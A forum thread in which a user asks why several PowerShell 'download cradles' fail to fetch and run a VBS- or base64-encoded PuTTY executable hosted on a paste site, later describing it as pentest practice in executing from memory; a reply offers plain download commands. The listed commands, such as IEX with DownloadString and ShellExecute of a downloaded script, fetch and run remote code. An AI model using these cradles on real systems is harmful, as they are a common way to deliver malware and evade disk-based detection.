powershell cradle

[ampf]

Hi

 

This is my first question here hope someone can help

 

 

I have converted puty.exe to putty.vbs and also I have also tried convert the exe to base64

Im trying to download (both vbs and base64 exe) it but Im not being able to succeed

the vbs is on "https://www.codepile.net/raw/rjzpdEKZ.vbs" but https://www.codepile.net/raw/rjzpdEKZ works too

 

I have tried

 

1 - IEX (new-object net.webclient).downloadstring("https://www.codepile.net/raw/rjzpdEKZ")

 

2 - Invoke-Expression -Command  $([string]([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Invoke-WebRequest -Uri https://www.codepile.net/raw/rjzpdEKZ).content))))

 

3 - & ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Invoke-WebRequest -Uri "https://www.codepile.net/raw/rjzpdEKZ" |  Select-Object -ExpandProperty Content))))

 

4 - (New-Object System.Net.WebClient).DownloadFile("https://www.codepile.net/raw/rjzpdEKZ","putty.vbs");(New-Object -com Shell.Application).ShellExecute("putty.vbs");

 

4 - (New-Object System.Net.WebClient).DownloadFile("https://www.codepile.net/raw/rjzpdEKZ","foo.vbs");(New-Object -com Shell.Application).ShellExecute("foo.vbs");

because the program used to create the vbs file writes a foo.txt file

 

What I might be doing wrong? How can I run it from powershell and a command line?

 

 

Thanks

[kuyaya]

Hi

8 hours ago, ampf said:

Im trying to download (both vbs and base64 exe) it but Im not being able to succeed

You didn't provided any further details on what exactly you are trying to do, so I'm just gonna assume from that quote that you have problems to download a file with powershell.

I have two solutions here for you that both work for me:

Invoke-WebRequest -Uri "https://www.codepile.net/raw/rjzpdEKZ" -OutFile "C:\Users\\$env:UserName\desktop\output.txt"

(New-Object System.Net.WebClient).DownloadFile("https://www.codepile.net/raw/rjzpdEKZ", "C:\Users\\$env:UserName\desktop\output.txt")

Those just make a output.txt with the raw text from the website on your desktop. If you want to change from .txt to .vbs or .exe, just change ending from ".txt" to ".vbs" in the script.

[ampf]

Hi 

 

Thank you for your reply

In this case I was thinking in a pentest aproach, I was trying some cradles that would allow to download and execute from memory a base64 exe or a vbs file